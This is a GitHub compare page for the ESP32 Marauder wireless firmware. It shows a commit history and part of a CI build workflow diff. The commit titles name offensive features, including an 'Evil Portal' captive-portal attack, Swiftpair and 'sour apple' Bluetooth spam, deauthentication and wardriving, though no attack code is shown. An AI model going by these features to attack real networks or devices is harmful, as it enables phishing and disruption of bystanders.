Compare commits

...

174 Commits

Author SHA1 Message Date
Just Call Me Koko
bea6978098 Fix error output 2023-10-18 07:53:19 -04:00
Just Call Me Koko
ab62f0fc60 Merge pull request #358 from justcallmekoko/master
Merge pull request #357 from justcallmekoko/develop
2023-10-17 17:14:25 -04:00
Just Call Me Koko
6612c48d1d Merge pull request #357 from justcallmekoko/develop
Develop
2023-10-17 17:14:05 -04:00
Just Call Me Koko
86c0857239 Increment version number 2023-10-17 16:18:33 -04:00
Just Call Me Koko
66d0ae467d Add Swiftpair spam 2023-10-17 16:18:03 -04:00
Just Call Me Koko
a75b3d9b2c Merge pull request #356 from justcallmekoko/master
Merge pull request #355 from justcallmekoko/develop
2023-10-14 17:30:43 -04:00
Just Call Me Koko
d5a0af74d0 Merge pull request #355 from justcallmekoko/develop
Develop
2023-10-14 17:30:23 -04:00
Just Call Me Koko
b594d8bbdd Update version number 2023-10-14 16:57:34 -04:00
Just Call Me Koko
370b2aa6c5 Add EspSoftwareSerial library to build 2023-10-14 16:14:56 -04:00
Just Call Me Koko
5f01e3030b Fix corrupt PCAP with SD serial 2023-10-14 16:06:05 -04:00
Just Call Me Koko
33b5a6481c Merge pull request #353 from justcallmekoko/master
Merge pull request #352 from justcallmekoko/develop
2023-10-13 10:51:22 -04:00
Just Call Me Koko
06e6cdb8cd Merge pull request #352 from justcallmekoko/develop
Merge Develop into Master
2023-10-13 10:23:48 -04:00
Just Call Me Koko
5f53e32f8e Fix macros branching 2023-10-12 16:50:04 -04:00
Just Call Me Koko
1d6ff6f911 Add sour apple to Marauder 2023-10-12 16:43:26 -04:00
Just Call Me Koko
ad6addf3df Merge pull request #350 from n0xa/M5Stick-Ext-SDCard
Get external SPI SD reader working on M5StickC-Plus
2023-10-12 13:43:53 -04:00
Just Call Me Koko
c788ad6681 Add workflow for v6.1 2023-10-12 08:53:29 -04:00
Just Call Me Koko
06ede5272d Add configs for Marauder hardware V6.1 2023-10-12 08:43:00 -04:00
Noah Axon
b8620e1bd3 Get external SPI SD reader working on M5StickC-Plus 2023-10-10 22:32:11 -05:00
Just Call Me Koko
18ca6160e5 Add wardriving commands 2023-10-05 11:39:28 -04:00
Just Call Me Koko
bbe9eead7e Add BT and Station wardriving 2023-10-04 15:31:10 -04:00
Just Call Me Koko
971487eefb Add GPS to Marauder Mini 2023-09-11 09:51:57 -04:00
Just Call Me Koko
9158083889 Merge pull request #327 from justcallmekoko/master
Merge pull request #326 from justcallmekoko/develop
2023-09-10 15:07:07 -04:00
Just Call Me Koko
f0bf1f4b7f Merge pull request #326 from justcallmekoko/develop
Develop
2023-09-10 15:06:14 -04:00
Just Call Me Koko
388ef30acd Merge pull request #325 from justcallmekoko/wardriver
Wardriver
2023-09-10 12:06:16 -04:00
Just Call Me Koko
7eb7ae4a0d Add gps command 2023-09-08 14:42:19 -04:00
Just Call Me Koko
10fce15bb9 Add wardrive command 2023-09-08 14:19:02 -04:00
Just Call Me Koko
32c118b0d5 Fix wardrive memory leak 2023-09-08 14:08:17 -04:00
Just Call Me Koko
c370dfa996 Fix for non display GPS 2023-09-07 21:01:35 -04:00
Just Call Me Koko
7669a7447f Add wardrive function 2023-09-07 20:26:33 -04:00
Just Call Me Koko
7049e1101f LinkedList v1.3.3 and hist limit 2023-09-07 10:16:56 -04:00
Just Call Me Koko
c0864af4db Set hist lim based on hardware 2023-09-07 09:50:08 -04:00
Just Call Me Koko
e4dcf91286 Increment version number 2023-09-07 09:00:06 -04:00
Just Call Me Koko
d382b066d4 Fix banner text size 2023-09-07 08:59:05 -04:00
Just Call Me Koko
4c50953dde Commented the wrong thing 2023-09-06 21:21:31 -04:00
Just Call Me Koko
a2f8eabd51 Change dev board pro gps rx pin 2023-09-06 20:59:15 -04:00
Just Call Me Koko
1465245cf4 Include v6_2 asset 2023-09-06 19:58:58 -04:00
Just Call Me Koko
3b3aa9a6e5 Fix find and spelling 2023-09-06 19:41:38 -04:00
Just Call Me Koko
6e645e437a Switch back to flipper 2023-09-06 19:26:03 -04:00
Just Call Me Koko
e0f95373c1 Export binary 2023-09-06 19:17:23 -04:00
Just Call Me Koko
787490820e Fix arduino-cli syntax 2023-09-06 18:54:58 -04:00
Just Call Me Koko
1167eaca67 set warnings to none 2023-09-06 18:38:59 -04:00
Just Call Me Koko
da949387fc Add warnings flag 2023-09-06 18:24:54 -04:00
Just Call Me Koko
0ec881f309 Add another arduino compile step 2023-09-06 18:00:04 -04:00
Just Call Me Koko
57186cf4b5 Adjust hist limit 2023-09-06 16:59:13 -04:00
Just Call Me Koko
a5d1b3faaf Fix MicroNMEA ref 2023-09-06 16:45:30 -04:00
Just Call Me Koko
9b14d2daf5 Update TFT_eSPI to 2.2.23 2023-09-06 16:39:50 -04:00
Just Call Me Koko
7092fdf6cb Replace SD lib in 2.0.10 2023-09-06 15:16:51 -04:00
Just Call Me Koko
e61c859df3 Fix GPS for WiFi Dev Board Pro 2023-09-06 14:48:41 -04:00
Just Call Me Koko
9b03aeff56 Add GPS to WiFi Dev Board Pro 2023-09-06 13:55:50 -04:00
Just Call Me Koko
d39f3fc2da Add GPS for flipper wifi dev board 2023-09-05 18:42:07 -04:00
Just Call Me Koko
e92476fb26 Add GPS Data command 2023-09-05 14:23:05 -04:00
Just Call Me Koko
4b000c8d18 Revert wardrive history limit 2023-09-05 13:46:49 -04:00
Just Call Me Koko
5d4f73dbc8 Change banner render method 2023-09-05 13:34:58 -04:00
Just Call Me Koko
3337c3e7a2 Adjust wardrive mac history 2023-09-04 21:56:29 -04:00
Just Call Me Koko
bf831a19fd Move GPS data menu to device 2023-09-04 21:36:02 -04:00
Just Call Me Koko
8f2b9c709a Remove unused methods and banner 2023-09-04 21:20:51 -04:00
Just Call Me Koko
edbd601af7 Change AP limit to test mem 2023-09-04 20:16:57 -04:00
Just Call Me Koko
e174291646 Add wardrive array 2023-09-04 20:06:26 -04:00
Just Call Me Koko
1580feb1d0 Fix GPS data still refreshing 2023-09-04 18:33:50 -04:00
Just Call Me Koko
5047296c94 Some don't have GPS 2023-09-01 16:01:10 -04:00
Just Call Me Koko
26a46d6c4d Add GPS data function 2023-09-01 15:20:10 -04:00
Just Call Me Koko
86328d2788 Add v6 SMA enclosures 2023-09-01 07:44:45 -04:00
Just Call Me Koko
f48d42ae0c Fix image position 2023-08-31 23:47:54 -04:00
Just Call Me Koko
4b40c0cf22 Add old Marauder title 2023-08-31 23:22:53 -04:00
Just Call Me Koko
363817c113 Trim more fat 2023-08-31 19:41:36 -04:00
Just Call Me Koko
4cf96a8f0c Fix includes 2023-08-31 19:26:09 -04:00
Just Call Me Koko
49888fa864 Remove bluetooth general menu 2023-08-31 18:46:13 -04:00
Just Call Me Koko
56133db97a Remove general menu 2023-08-31 18:39:07 -04:00
Just Call Me Koko
ce8c70daf7 New Marauder title screen 2023-08-31 18:11:21 -04:00
Just Call Me Koko
6a26ac2e04 Remove join/shutdown wifi 2023-08-31 15:02:34 -04:00
Just Call Me Koko
bc3038c73b Trim fat 2023-08-30 21:58:15 -04:00
Just Call Me Koko
eee1b5c8c2 Add GPS menu 2023-08-30 21:36:36 -04:00
Just Call Me Koko
ddfda9c9ed Clean up mem 2023-08-30 17:48:55 -04:00
Just Call Me Koko
d140f70093 Fix what happens and stuff 2023-08-30 16:50:54 -04:00
Just Call Me Koko
7299b66255 Stupid Arduino IDE autosave 2023-08-30 16:35:48 -04:00
Just Call Me Koko
c7936b06f2 Add MicroNMEA to libs 2023-08-30 16:29:06 -04:00
Just Call Me Koko
0106081308 Detect GPS module 2023-08-30 15:57:44 -04:00
Just Call Me Koko
3c9458e0f5 Add GPS capability 2023-08-30 15:08:06 -04:00
Just Call Me Koko
2735550d3a Merge pull request #317 from justcallmekoko/master
Master to Dev
2023-08-28 16:59:27 -04:00
Just Call Me Koko
6da2d33507 Merge pull request #313 from sfjuocekr/sfjuocekr-patch-1
Fix string copy
2023-08-28 09:31:34 -04:00
Just Call Me Koko
d1e0d96543 Merge pull request #316 from AWOK559/master
Added V6 case
2023-08-28 09:29:47 -04:00
AWOK
17a4035208 Added V6 case
Added case designed by AWOK
2023-08-26 20:10:39 -07:00
Sjoer van der Ploeg
def6d2d277 Fix string copy
strncpy only copies the bytes specified, so if you set a name like "PORTAL" and then want to set a name like "HELLO" the result for apName would be "HELLOL".

Instead copy the size of MAX_AP_NAME_SIZE.
2023-08-21 19:23:03 +02:00
Just Call Me Koko
9db9c630e4 Merge pull request #308 from justcallmekoko/develop
Develop
2023-08-01 11:35:54 -04:00
Just Call Me Koko
816e620b5b Merge pull request #307 from justcallmekoko/tracedgod
Tracedgod
2023-08-01 10:30:53 -04:00
Just Call Me Koko
89d731b10d Fix sigstren monitor 2023-07-26 23:26:35 -04:00
Just Call Me Koko
105a23b1f2 Fix captive portal not showing after AP connect 2023-07-25 21:04:17 -04:00
Just Call Me Koko
70b0601713 Update version number 2023-07-24 17:50:42 -04:00
Just Call Me Koko
ada170f910 Remove memory "fix" 2023-07-24 17:49:40 -04:00
Just Call Me Koko
dd998ceb07 Adjust verbiage 2023-07-21 09:41:32 -04:00
Just Call Me Koko
5a885fba83 Move Evil Portal to attack menu 2023-07-20 16:38:35 -04:00
Just Call Me Koko
3dfc651689 Switch to flipper 2023-07-20 15:37:25 -04:00
Just Call Me Koko
2b9f5c857c Display output and logs 2023-07-20 15:37:05 -04:00
Just Call Me Koko
fa11a04ba5 Use SSID list for EvilPortal 2023-07-20 12:32:12 -04:00
Just Call Me Koko
71266ae650 Display things 2023-07-20 11:51:24 -04:00
Just Call Me Koko
81b04db462 Reduce memory one more time 2023-07-19 17:38:13 -04:00
Just Call Me Koko
433c492f4b Reduce memory a little bit more 2023-07-19 17:27:40 -04:00
Just Call Me Koko
76526c3de6 Reduce mem a little bit 2023-07-19 17:14:38 -04:00
Just Call Me Koko
f30d8813f8 Remove a32u4 and 8266 components 2023-07-19 16:57:57 -04:00
Just Call Me Koko
3f5aecb38b Reduce memory a bit 2023-07-19 16:40:53 -04:00
Just Call Me Koko
eb1aeaa1cb Revert HTML limit 2023-07-19 16:11:34 -04:00
Just Call Me Koko
61e63aeb59 Switch back to flipper 2023-07-19 15:40:02 -04:00
Just Call Me Koko
0de13bf86d Remove espressif macs 2023-07-19 15:35:32 -04:00
Just Call Me Koko
05980c4100 Reduce the memory again 2023-07-19 14:39:42 -04:00
Just Call Me Koko
f1e4e9e9a1 Switching back to 2.0.10 I guess 2023-07-19 14:05:31 -04:00
Just Call Me Koko
9900109e81 Add some directories 2023-07-19 12:59:15 -04:00
Just Call Me Koko
68e370ca50 Do another I guess 2023-07-19 12:53:09 -04:00
Just Call Me Koko
28f674c48a stuff 2023-07-19 12:51:19 -04:00
Just Call Me Koko
d6f97091d7 Don't compile esp32 code 2023-07-19 12:46:54 -04:00
Just Call Me Koko
f4b8d827c9 Ok show me arduino-esp32 at every step 2023-07-19 12:25:53 -04:00
Just Call Me Koko
5f20e18359 Update arduino-test-compile 2023-07-19 12:20:02 -04:00
Just Call Me Koko
d7ac61fea1 Compile test code before install libs 2023-07-19 12:04:30 -04:00
Just Call Me Koko
6104aeadd5 Remove OTA compilation 2023-07-19 11:58:29 -04:00
Just Call Me Koko
8f4aa0115e Force the use of 2.0.3 2023-07-19 11:40:16 -04:00
Just Call Me Koko
11d8e95fb5 Add limit check 2023-07-19 11:16:16 -04:00
Just Call Me Koko
b34039158a Fix app space issues 2023-07-19 11:08:01 -04:00
Just Call Me Koko
304cecfbbd Ugh just hang on to this 2023-07-19 09:42:10 -04:00
Just Call Me Koko
bcdc70563a Fix LED macros 2023-07-19 09:02:00 -04:00
Just Call Me Koko
0ddc563fe2 Spelling 2023-07-19 08:38:37 -04:00
Just Call Me Koko
11faa91373 Fix drawCentreString 2023-07-19 08:37:50 -04:00
Just Call Me Koko
f73fe5fc94 Fix LinkedList ref 2023-07-18 20:55:46 -04:00
Just Call Me Koko
1de9dd76c6 Fix macros and specify lib ver 2023-07-18 20:51:58 -04:00
Just Call Me Koko
1917089ecb Uncomment new libs 2023-07-18 19:34:32 -04:00
Just Call Me Koko
8a7648a72e Fine...fucking use v2.0.10
This had better not break deauthentication capability or I'm going to shit myself.
2023-07-18 19:34:00 -04:00
Just Call Me Koko
8a7ae55c10 Revert version
Whoever changed this shit outside of my repo and fucked this whole thing up can go fuck themselves
2023-07-18 19:28:22 -04:00
Just Call Me Koko
92adabb380 Remove useless libraries flag 2023-07-18 19:18:10 -04:00
Just Call Me Koko
f00afa1430 Change specified version 2023-07-18 19:17:50 -04:00
Just Call Me Koko
ae6cf3a472 Remove new libraries 2023-07-18 19:14:46 -04:00
Just Call Me Koko
8c3772cf35 specify 2.0.3 because it defaults 2.0.10 2023-07-18 19:07:30 -04:00
Just Call Me Koko
ee5361bfb3 Move this stage 2023-07-18 18:39:33 -04:00
Just Call Me Koko
2a34319029 Ok something upstream changed 2023-07-18 18:30:51 -04:00
Just Call Me Koko
6f1db9176a Save evil portal logs 2023-07-18 18:15:23 -04:00
Just Call Me Koko
2685de86d1 Fix evil portal 2023-07-17 22:32:27 -04:00
Just Call Me Koko
a51db0d8ae Add Evil Portal Scan mode 2023-07-14 14:43:06 -04:00
Just Call Me Koko
e936cdb22a Use my fork 2023-07-14 12:04:38 -04:00
Just Call Me Koko
adb38dd620 Add evil portal libs 2023-07-14 11:36:00 -04:00
Just Call Me Koko
26115b0510 Point to flipper 2023-07-14 11:28:51 -04:00
Just Call Me Koko
76f8ceb63f Upgrade arduino-ep32 to 2.0.9 2023-07-14 11:24:07 -04:00
Just Call Me Koko
50e99a62e9 Create files for evil portal 2023-07-14 10:44:36 -04:00
Just Call Me Koko
f854a30ed6 Try to fix memory leak 2023-07-14 08:29:24 -04:00
Just Call Me Koko
ec0cc676ed Fix neopixel defs 2023-07-13 18:35:29 -04:00
Just Call Me Koko
c4fa30b3f8 Merge pull request #297 from tracedgod/tracedgod
Fix Actions not building on branch 'tracedgod'
2023-07-13 18:32:15 -04:00
tracedgod
5886bd991d NeoPixel for M5StickC 2023-06-23 20:06:23 -04:00
tracedgod
a7cf003d84 Fix NeoPixel for all Marauder Boards
All Marauder Boards use NeoPixel.
2023-06-23 19:26:38 -04:00
tracedgod
1fca730b00 Fix NeoPixel Definition for OG Marauder 2023-06-23 19:16:42 -04:00
tracedgod
121dfbfa7e Merge remote-tracking branch 'upstream/tracedgod' into tracedgod 2023-06-23 18:14:07 -04:00
Just Call Me Koko
ea1b54cc91 Fix button macros 2023-06-23 13:59:36 -04:00
Just Call Me Koko
5e77bb664d Fix SD macros and indentation 2023-06-23 13:47:48 -04:00
Just Call Me Koko
2d2d83e3af Add missing semi 2023-06-22 14:44:54 -04:00
Just Call Me Koko
d8c960dbe5 Add missing semi 2023-06-22 14:44:18 -04:00
Just Call Me Koko
a0acd10bd7 Merge pull request #280 from tracedgod/develop
Refactor configs.h & others
2023-06-22 14:37:35 -04:00
Just Call Me Koko
38a8727bfb Merge pull request #287 from justcallmekoko/master
Merge pull request #286 from justcallmekoko/develop
2023-06-21 20:16:28 -04:00
Just Call Me Koko
539ebb93a7 Merge pull request #286 from justcallmekoko/develop
Develop
2023-06-21 20:16:07 -04:00
Just Call Me Koko
56de1b698a Update version number 2023-06-21 19:44:51 -04:00
Just Call Me Koko
524d4641ed Fix m5stickc plus screen again 2023-06-21 17:15:28 -04:00
Just Call Me Koko
df613f3b9b Fix m5stickc plus screen 2023-06-21 16:50:01 -04:00
tracedgod
810c898c3b Merge branch 'develop' into develop 2023-06-14 18:27:50 -04:00
tracedgod
8bf1402a99 fixup preprocessor directives 2023-06-10 00:22:19 -04:00
tracedgod
9c51a562b8 Refactor Code + XIAO-ESP32-S3 Support
Refactoring / pre-processor optimizations to only include files if specified in the `configs.h` file.

Also adds support for the XIAO-ESP32-S3 small board from Seeed Studio.
2023-06-10 00:22:19 -04:00
tracedgod
56e87a53ea Update xiaoLED.h 2023-06-10 00:22:19 -04:00
tracedgod
fe5578af80 fix typo for XiaoLED 2023-06-10 00:22:19 -04:00
tracedgod
f3349766ed Add XIAO-ESP32-S3 Board Support (WIP)
looking to cleanup certain things with config to allow easier customization of the build when used with the flipper zero
2023-06-10 00:22:19 -04:00
tracedgod
355b159128 fixup preprocessor directives 2023-06-09 23:10:21 -04:00
tracedgod
bf0288f493 Refactor Code + XIAO-ESP32-S3 Support
Refactoring / pre-processor optimizations to only include files if specified in the `configs.h` file.

Also adds support for the XIAO-ESP32-S3 small board from Seeed Studio.
2023-06-09 22:35:56 -04:00
tracedgod
462f248d43 Update xiaoLED.h 2023-06-09 19:11:01 -04:00
tracedgod
3dcce51f18 fix typo for XiaoLED 2023-06-09 19:04:56 -04:00
tracedgod
8934160316 Add XIAO-ESP32-S3 Board Support (WIP)
looking to cleanup certain things with config to allow easier customization of the build when used with the flipper zero
2023-06-09 18:50:56 -04:00
tracedgod
a98e455fb5 Update .gitignore
ignore vscode settings.json
2023-06-09 17:31:50 -04:00
tracedgod
ccdb844fc2 Update .gitmodules
fix gitmodule sources, for some reason did not want to properly clone submodules...
2023-06-09 17:28:49 -04:00
Just Call Me Koko
0b26b2d4d3 Add led command 2023-06-09 17:03:38 -04:00
Just Call Me Koko
50eb2b0da6 Merge pull request #279 from justcallmekoko/master
Merge pull request #278 from justcallmekoko/develop
2023-06-08 16:24:14 -04:00
Just Call Me Koko
771d03d931 Merge pull request #278 from justcallmekoko/develop
Develop
2023-06-08 16:23:52 -04:00
Just Call Me Koko
4f1611083f Fix no bt for dev board pro 2023-06-07 15:32:40 -04:00
Just Call Me Koko
b5eb343c52 Merge pull request #277 from justcallmekoko/master
Merge pull request #276 from justcallmekoko/develop
2023-06-06 17:17:52 -04:00
77 changed files with 413260 additions and 3202 deletions

View File

@@ -16,62 +16,97 @@ jobs:
- name: Checkout Code
uses: actions/checkout@v3
- name: Install ESP32 Boards and Compile TestFile
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: TestFile.ino
arduino-board-fqbn: esp32:esp32:esp32s2
platform-url: https://github.com/espressif/arduino-esp32/releases/download/2.0.10/package_esp32_dev_index.json
- name: Pull arduino-esp32 v2.0.4
uses: actions/checkout@v2
with:
repository: espressif/arduino-esp32
ref: 2.0.4
path: 2.0.4arduino-esp32
- name: Pull arduino-esp32 v2.0.10
uses: actions/checkout@v2
with:
repository: espressif/arduino-esp32
ref: 2.0.10
path: 2.0.10
- name: Install AsyncTCP
uses: actions/checkout@v2
with:
repository: me-no-dev/AsyncTCP
ref: master
path: CustomAsyncTCP
- name: Install MicroNMEA
uses: actions/checkout@v2
with:
repository: stevemarple/MicroNMEA
ref: v2.0.6
path: CustomMicroNMEA
- name: Install ESPAsyncWebServer
uses: actions/checkout@v2
with:
repository: bigbrodude6119/ESPAsyncWebServer
ref: master
path: CustomESPAsyncWebServer
#- name: Install TFT_eSPI
# uses: actions/checkout@v2
# with:
# repository: justcallmekoko/TFT_eSPI
# ref: master
# path: CustomTFT_eSPI
- name: Install TFT_eSPI
uses: actions/checkout@v2
with:
repository: justcallmekoko/TFT_eSPI
ref: master
repository: Bodmer/TFT_eSPI
ref: 2.2.23
path: CustomTFT_eSPI
- name: Install LinkedList
uses: actions/checkout@v2
with:
repository: ivanseidel/LinkedList
ref: master
path: CustomLinkedList
- name: Install lv_arduino
uses: actions/checkout@v2
with:
repository: lvgl/lv_arduino
ref: master
ref: 3.0.0
path: Customlv_arduino
- name: Install JPEGDecoder
uses: actions/checkout@v2
with:
repository: Bodmer/JPEGDecoder
ref: master
ref: 1.8.0
path: CustomJPEGDecoder
- name: Install NimBLE-Arduino
uses: actions/checkout@v2
with:
repository: h2zero/NimBLE-Arduino
ref: 1.2.0
path: CustomNimBLE-Arduino
- name: Install Adafruit_NeoPixel
uses: actions/checkout@v2
with:
repository: adafruit/Adafruit_NeoPixel
ref: master
ref: 1.10.7
path: CustomAdafruit_NeoPixel
- name: Install ArduinoJson
uses: actions/checkout@v2
with:
repository: bblanchon/ArduinoJson
ref: v6.18.2
path: CustomArduinoJson
- name: Install SwitchLib
uses: actions/checkout@v2
with:
@@ -79,9 +114,23 @@ jobs:
ref: main
path: CustomSwitchLib
- name: Search for SD lib in arduino-esp32 v2.0.4
run: |
find /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.4arduino-esp32 -name "SD"
- name: Install LinkedList
uses: actions/checkout@v2
with:
repository: ivanseidel/LinkedList
ref: v1.3.3
path: CustomLinkedList
- name: Install EspSoftwareSerial
uses: actions/checkout@v2
with:
repository: plerup/espsoftwareserial
ref: 8.1.0
path: CustomEspSoftwareSerial
#- name: Search for SD lib in arduino-esp32 v2.0.4
# run: |
# find /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.4arduino-esp32 -name "SD"
- name: Configure TFT_eSPI
run: |
@@ -94,18 +143,29 @@ jobs:
ls -la
ls -la CustomTFT_eSPI
- name: Install ESP32 Boards and Compile MarauderOTA
uses: ArminJo/arduino-test-compile@v3.2.0
with:
sketch-names: MarauderOTA.ino
arduino-board-fqbn: esp32:esp32:esp32s2
platform-url: https://github.com/espressif/arduino-esp32/releases/download/2.0.3/package_esp32_dev_index.json
#- name: Place 2.0.10 for use
# run: |
# mkdir -p /home/runner/.arduino15/packages/esp32/hardware/esp32/
# cp -R /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.3 /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3
# ls -la /home/runner/.arduino15/packages/esp32/hardware/esp32/
# echo Whoever made me have to do this can fuck off
- name: Replace SD lib
run: |
rm -rf /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3/libraries/SD
cp -R /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.4arduino-esp32/libraries/SD /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3/libraries/SD
ls -la /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3/libraries/SD
#- name: Replace arduino-esp32 v2.0.10 that was gloriously forced on us
# run: |
# rm -rf /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.10
# cp -R /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.3 /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3
# ls -la /home/runner/.arduino15/packages/esp32/hardware/esp32/
# echo Whoever made me have to do this can fuck off
#- name: Search for SD lib in arduino-esp32
# run: |
# find /home/runner/ -name "SD"
#- name: Replace SD lib
# run: |
# rm -rf /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.10/libraries/SD
# cp -R /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.4arduino-esp32/libraries/SD /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.10/libraries/SD
# ls -la /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.10/libraries/SD
- name: Modify platform.txt
run: |
@@ -120,9 +180,21 @@ jobs:
cat "$i" | grep compiler.c.elf.libs.esp32s2
cat "$i" | grep compiler.c.elf.libs.esp32
done
- name: Configure configs.h for Flipper Zero WiFi Dev Board
run: |
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
sed -i 's/^ \/\/#define MARAUDER_FLIPPER/ #define MARAUDER_FLIPPER/' esp32_marauder/configs.h
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
- name: Build Marauder for Flipper Zero WiFi Dev Board
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:esp32s2:PartitionScheme=min_spiffs,FlashSize=4M,PSRAM=enabled
@@ -138,7 +210,7 @@ jobs:
sed -i 's/^ \/\/#define WRITE_PACKETS_SERIAL/ #define WRITE_PACKETS_SERIAL/' esp32_marauder/configs.h
- name: Build Marauder SD Serial for Flipper Zero WiFi Dev Board
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:esp32s2:PartitionScheme=min_spiffs,FlashSize=4M,PSRAM=enabled
@@ -154,7 +226,7 @@ jobs:
sed -i 's/^ #define WRITE_PACKETS_SERIAL/ \/\/#define WRITE_PACKETS_SERIAL/' esp32_marauder/configs.h
- name: Build Marauder for Flipper Zero Multi Board
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:esp32s3:PartitionScheme=min_spiffs,FlashSize=8M,PSRAM=enabled
@@ -173,6 +245,7 @@ jobs:
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
sed -i 's/^ \/\/#define MARAUDER_V4/ #define MARAUDER_V4/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
@@ -180,7 +253,7 @@ jobs:
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
- name: Build Marauder for OG Marauder
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
@@ -197,14 +270,32 @@ jobs:
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
sed -i 's/^ \/\/#define MARAUDER_V6/ #define MARAUDER_V6/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
#- name: Build Marauder for v6 Marauder with arduino/compile-sketches
# uses: arduino/compile-sketches@v1
# with:
# sketch-paths: esp32_marauder/esp32_marauder.ino
# cli-compile-flags: |
# - --warnings="none"
# - --export-binaries
# fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
#- name: Show compiled arduino/compile-sketches v6 bin
# run: |
# find ~ -name "esp32_marauder.ino.bin"
#- name: Rename v6_2 Marauder bin
# run: |
# mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6_2.bin
- name: Build Marauder for v6 Marauder
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
@@ -214,6 +305,29 @@ jobs:
run: |
mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6.bin
- name: Configure TFT_eSPI and configs.h for Marauder v6.1
run: |
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
sed -i 's/^ \/\/#define MARAUDER_V6_1/ #define MARAUDER_V6_1/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
- name: Build Marauder for v6.1 Marauder
uses: ArminJo/arduino-test-compile@v3.2.1
with:
